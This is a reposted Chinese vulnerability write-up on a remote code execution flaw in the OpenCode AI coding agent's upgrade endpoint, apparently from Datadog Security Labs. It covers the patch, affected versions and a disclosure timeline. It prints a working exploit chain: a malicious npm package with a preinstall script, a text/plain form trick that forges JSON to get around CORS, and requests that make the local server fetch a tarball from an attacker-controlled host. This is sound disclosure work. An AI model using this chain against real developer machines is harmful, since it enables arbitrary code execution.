文章总结: OpenCode曝出远程代码执行漏洞GHSA-632h-h47v-g4x4,源于/global/upgrade接口未校验Content-Type,导致用户输入被拼入shell命令,恶意网页可通过顶层导航绕过CORS触发,实现任意npm脚本执行。82个受影响版本一周内下载64.7万次,1.18.22版本已修复。建议用户立即升级并避免将服务暴露公网。
综合评分: 88
文章分类: 漏洞分析,WEB安全,代码审计,安全工具
OpenCode 曝远程代码执行漏洞:一个 Content-Type 混淆如何变成 RCE
幻泉之洲
2026年9月30日 10:05
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
OpenCode 的一个升级接口把用户输入直接拼进了 shell 命令,又因为不校验 Content-Type,让恶意网页可以绕过 CORS 触发它。任意网页 + 一次点击 = 你本机执行任意 npm 脚本。82 个受影响版本在一周内被下载了 64.7 万次。
OpenCode 是 2025 年 6 月发布的开源 AI 编码代理,官网称其 GitHub star 已超 20 万,月活用户 1600 万。开发方是 Anomaly。
这篇文章要讲的,是我们在 OpenCode 里发现的远程代码执行(RCE)漏洞 GHSA-632h-h47v-g4x4。问题出在 /global/upgrade 接口的 Content-Type 混淆上——它把一个底层的代码注入缺陷变得可以实际利用。OpenCode 1.18.22 修复了该漏洞。
先确认自己是否受影响,往下看”如何判断你是否受影响”一节。
▲ OpenCode 远程代码执行攻击流程(点击放大)
Anomaly 没有为这个漏洞申请 CVE。他们的理由是:给通过 GitHub Security Advisories 提交的漏洞分配 CVE,会鼓励研究者堆量、刷低质量报告。
OpenCode 和它的 Web 界面
OpenCode 是个开源 AI 编码代理,和 Claude Code、Codex、Pi 是同类产品。开发者可以用 Anthropic、OpenRouter 等服务商的模型,也可以跑本地模型。
▲ OpenCode 终端界面(点击放大)
它还自带一个 Web 界面,可以在浏览器里跑编码会话。
▲ OpenCode Web UI(点击放大)
运行 opencode serve 就能启动这个界面,等价的 opencode web 命令还会顺便在默认浏览器里打开它。
$ opencode web
! OPENCODE_SERVER_PASSWORD is not set; server is unsecured.
Web interface: http://127.0.0.1:4096/
Web 界面默认不需要认证。但开发者可以开启 basic 认证——把 OpenCode 暴露到网络上时,这一步尤其重要:
OPENCODE_SERVER_PASSWORD=whySoSerious opencode web
▲ OpenCode 的 basic 认证(点击放大)
浏览器会缓存 basic 认证的凭据,所以 OpenCode 不会在每个请求上都要求输入密码。具体行为取决于浏览器和版本,但现代浏览器在主进程运行期间会一直缓存。
怎么利用这个漏洞拿到 RCE
攻击者只需要两样东西:一个恶意 npm 包 tarball,和一个网页。
第一步,把恶意 npm 包放在公开 URL 上。包可以极简,只要一个 package.json,通过 preinstall 脚本执行恶意代码:
{
“name”: “opencode-ai”,
“version”: “1.0.0”,
“description”: “”,
“scripts”: {
“preinstall”: “open /System/Applications/Calculator.app && id > /tmp/opencode-rce”
}
}
然后打成 tarball:
tar -czf opencode-malicious.tgz malicious-package/
最后,托管一个网页,向 http://127.0.0.1:4096/global/upgrade 发一个顶层跨域请求:
document.forms[0].submit()
当运行着有漏洞版本 OpenCode 的用户访问这个网页时,preinstall 脚本就会在那台机器上执行。
下面的视频展示了从 1.18.21 版本用户视角看到的利用过程。
漏洞的定位和利用细节
opencode serve 启动的 API 里有个 upgrade 端点,作用是把 OpenCode 升级到最新版或指定版本:
POST /global/upgrade HTTP/1.1
Host: 127.0.0.1:4096
Content-Type: text/plain
{“target”:”1.18.1″}
下面这个 TypeScript 函数实现了 upgrade 端点:
upgrade: Effect.fn(“Installation.upgrade”)(function* (m: Method, target: string) {
let upgradeResult: { code: number; stdout: string; stderr: string } | undefined
switch (m) {
case “curl”:
upgradeResult = yield* upgradeCurl(target)
break
case “npm”:
upgradeResult = yield* run([“npm”, “install”, “-g”, opencode-ai@${target}])
break
case “pnpm”:
upgradeResult = yield* run([“pnpm”, “install”, “-g”, opencode-ai@${target}])
break
case “bun”:
upgradeResult = yield* run([“bun”, “install”, “-g”, opencode-ai@${target}])
break
…
如果用户是通过 npm、pnpm 或 Bun 安装的 OpenCode,服务端会用 child_process.spawn() 跑这样一条命令:
npm install -g opencode-ai@VERSION
VERSION 是未经校验的用户输入
问题就在这里。npm 的包描述规范既接受 1.18.1 这样的语义化版本号,也接受远程 tarball 作为安装目标。也就是说,攻击者可以塞进任意 URL。npm 会乖乖去攻击者控制的服务器上把包拉下来装上。
要实现远程代码执行,攻击者只需要造一个带 preinstall 生命周期脚本的包:
mkdir -p malicious-package
cat > malicious-package/package.json <<‘EOF’
…
EOF
tar -czf opencode-malicious.tgz malicious-package
跨域利用:浏览器帮了攻击者什么忙
直接发 HTTP 请求需要能访问到 OpenCode 服务端,而它通常只监听 127.0.0.1。但恶意网页可以借受害者的浏览器去够到本机服务。
先看浏览器的跨域保护
攻击者大概会先用 JavaScript 试一发:
fetch(“http://127.0.0.1:4096/global/upgrade”, {
method: “POST”,
headers: {
“Content-Type”: “application/json”,
},
body: JSON.stringify({
target: “http://ATTACKER_IP/opencode-malicious.tgz”,
}),
})
浏览器通过 CORS 限制跨域 fetch()。因为这里用了 application/json,浏览器会先发一个预检请求,问端点是否允许该来源、方法和头:
OPTIONS /global/upgrade HTTP/1.1
Access-Control-Request-Headers: content-type
Access-Control-Request-Method: POST
Host: 127.0.0.1:4096
Origin: http://attacker:4444
Referer: http://attacker:4444/
只有服务端返回匹配的 Access-Control-Allow-Origin、Access-Control-Allow-Methods、Access-Control-Allow-Headers,浏览器才会往下走。OpenCode API 对 http://attacker:4444 不返回 Access-Control-Allow-Origin,所以浏览器不会发出那个 POST:
HTTP/1.1 204 No Content
Access-Control-Allow-Methods: GET, HEAD, PUT, PATCH, POST, DELETE
Vary: Access-Control-Request-Headers
Access-Control-Allow-Headers: content-type
▲ Chrome 开发者工具显示请求被拦截(点击放大)
即使某个 API 允许跨域,现代浏览器还有第二道防线。Chrome 142、Firefox 151、Edge 143 引入的 Local Network Access,会在页面跨域访问 localhost 或解析到 localhost 的主机名之前弹窗询问用户。
▲ Web 应用跨域访问本地 URL 时,Local Network Access 会弹窗提示(点击放大)
但 CORS 和 Local Network Access 按设计都不拦截顶层导航。攻击者正是靠这个,从恶意网页够到本机的 OpenCode 服务。
用顶层导航发一个恶意 POST
HTML 表单可以通过顶层导航提交 POST。要看懂怎么构造这个表单,先得看 OpenCode 怎么解析请求体。src/server/routes/instance/httpapi/handlers/global.ts 里的控制器有这么一段逻辑:
function parseBody(body: string) {
try {
return JSON.parse(body || “{}”) as unknown
} catch {
return undefined
}
}
export const globalHandlers = HttpApiBuilder.group(RootHttpApi, “global”, (handlers) =>
Effect.gen(function* () {
const upgradeRaw = Effect.fn(“GlobalHttpApi.upgradeRaw”)(function* (ctx: {
request: HttpServerRequest.HttpServerRequest
}) {
const body = yield* Effect.orDie(ctx.request.text)
const json = parseBody(body)
if (json === undefined) {
return HttpServerResponse.jsonUnsafe({ success: false, error: “Invalid request body” }, { status: 400 })
}
const payload = yield* Schema.decodeUnknownEffect(GlobalUpgradeInput)(json).pipe(
Effect.map((payload) => ({ valid: true as const, payload })),
Effect.catch(() => Effect.succeed({ valid: false as const })),
)
if (!payload.valid) {
return HttpServerResponse.jsonUnsafe({ success: false, error: “Invalid request body” }, { status: 400 })
}
const result = yield* upgrade({ payload: payload.payload }) // 这行就是代码注入的入口
return HttpServerResponse.jsonUnsafe(result.body, { status: result.status })
})
return handlers
.handleRaw(“upgrade”, upgradeRaw)
})
GlobalUpgradeInput 的定义只有一个 target 字段:
export const GlobalUpgradeInput = Schema.Struct({
target: Schema.optional(Schema.String),
})
upgradeRaw 期望 JSON,所以它会拒绝标准 HTML 表单提交——默认的 application/x-www-form-urlencoded 类型对不上:
document.forms[0].submit()
表单会发出这样的请求,然后收到错误:
POST /global/upgrade HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:4096
Origin: http://attacker:4444
target=http%3A%2F%2FATTACKER_IP%2Fopencode-malicious.tgz
HTTP/1.1 400 Bad Request
Content-Type: application/json
Date: Wed, 23 Sep 2026 11:35:12 GMT
Content-Length: 48
{“success”:false,”error”:”Invalid request body”}
HTML 表单的 enctype 不支持 application/json。剩下的选项里,multipart/form-data 生不出合法 JSON,那就只剩 text/plain 了。
关键在于:upgradeRaw 直接拿 body 当 JSON 解析,压根不检查 Content-Type 是不是 application/json。只要 body 是合法 JSON,text/plain 的表单提交它照样收。
当浏览器用 enctype="text/plain" 提交表单时,请求体长这样:
param1=value1
param2=value2
…
浏览器不会对参数名和值做转义或 URL 编码。于是我们可以构造出能拼成合法 JSON 的参数名和值:
- 参数名:
{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":" - 参数值:
"}
浏览器会在名字和值中间插一个等号,拼出下面这段合法 JSON:
▲ 浏览器在参数名和值之间插入等号,恰好拼出合法 JSON(点击放大)
最终的表单是这样:
document.forms[0].submit()
受害者一访问网页,浏览器就以顶层导航的方式发出这个跨域 POST 请求。有漏洞的 OpenCode 端点会接受它:
POST /global/upgrade HTTP/1.1
Content-Type: text/plain
Host: 127.0.0.1:4096
Origin: http://165.227.82.252:4444
Pragma: no-cache
Referer: http://165.227.82.252:4444/
{“target”:”http://165.227.82.252/opencode-malicious.tgz”,”x”:”=”}
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 23 Sep 2026 11:48:15 GMT
Content-Length: 73
{“success”:true,”version”:”http://165.227.82.252/opencode-malicious.tgz”}
官方是怎么修的
PR #44686 在 2026 年 8 月 24 日以 commit c6e76e9 合并,修掉了漏洞。补丁同时处理了两个问题:把升级目标限制成语义化版本,以及强制校验请求的 Content-Type。
第一处,GlobalUpgradeInput 现在只接受合法的语义化版本号:
- export const GlobalUpgradeInput = Schema.Struct({
- target: Schema.optional(Schema.String),
- })
- export const GlobalUpgradeInput = Schema.Struct({
- target: Schema.String.check(
- Schema.makeFilter((value) => (semver.valid(value) === null ? “Expected a semantic version” : undefined)),
- ),
- })
第二处,补丁用 handle 替换了 Effect 的 handleRaw。handle 会先看 Content-Type 头,再据此解码请求体,从根上堵住了服务端的 Content-Type 混淆:
- .handleRaw(“upgrade”, upgradeRaw)
- .handle(“upgrade”, upgrade)
OpenCode 1.18.22 会用一个”不支持的媒体类型”响应打发掉恶意跨域请求:
HTTP/1.1 415 Unsupported Media Type
Content-Type: text/plain
Date: Wed, 23 Sep 2026 12:48:47 GMT
Content-Length: 36
Unsupported content-type: text/plain
影响面有多大
受影响的是 1.14.30 到 1.18.21 版本,且必须是通过 npm、pnpm 或 Bun 安装的。
看公开的 npm 数据,这 82 个受影响版本在 2026 年 9 月 17 日到 23 日之间被下载了 64.7 万次以上。这个数字看不出有多少独立用户或机器,也看不出其中有多少人在跑 opencode serve 或 opencode web。
▲ 2026 年 9 月 17–23 日,OpenCode 下载量中有 38.9% 来自受影响版本(点击放大)
如何判断你是否受影响
只有下面三个条件同时成立,漏洞才可被利用:
- 你用的 OpenCode 版本在 1.14.30 到 1.18.21 之间(含两端)。
- 你运行
opencode serve或opencode web时没设密码认证,或者浏览器刚缓存过认证凭据。 - 你是通过 npm、pnpm 或 Bun 安装的。跑
ls -l "$(command -v opencode)"可以确认安装方式。
时间线
| 日期 | 事件 |
| — | — |
| 2026 年 4 月 29 日 | PR #24853 引入有漏洞的代码路径 |
| 2026 年 4 月 30 日 | OpenCode v1.14.30 成为首个受影响版本 |
| 2026 年 8 月 11 日 | Datadog Security Labs 发现漏洞 |
| 2026 年 8 月 11 日 | Datadog Security Labs 通过 GitHub Security Advisories 报告(GHSA-632h-h47v-g4x4) |
| 2026 年 8 月 24 日 | Anomaly 提交修复 PR #44686 |
| 2026 年 8 月 24 日 | Anomaly 合并 PR #44686 |
| 2026 年 8 月 24 日 | Anomaly 发布含修复的 OpenCode v1.18.22 |
| 2026 年 8 月 24 日 | 应 Anomaly 要求,Datadog Security Labs 推迟一个月公布 |
| 2026 年 9 月 24 日 | Datadog Security Labs 发布本文,Anomaly 发布 GHSA-632h-h47v-g4x4 公告 |
感谢 Anomaly 团队在整个过程中保持开放沟通,并在收到报告后迅速完成了修复。
参考资料
[1] https://securitylabs.datadoghq.com/articles/opencode-upgrade-remote-code-execution/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《OpenCode 曝远程代码执行漏洞:一个 Content-Type 混淆如何变成 RCE》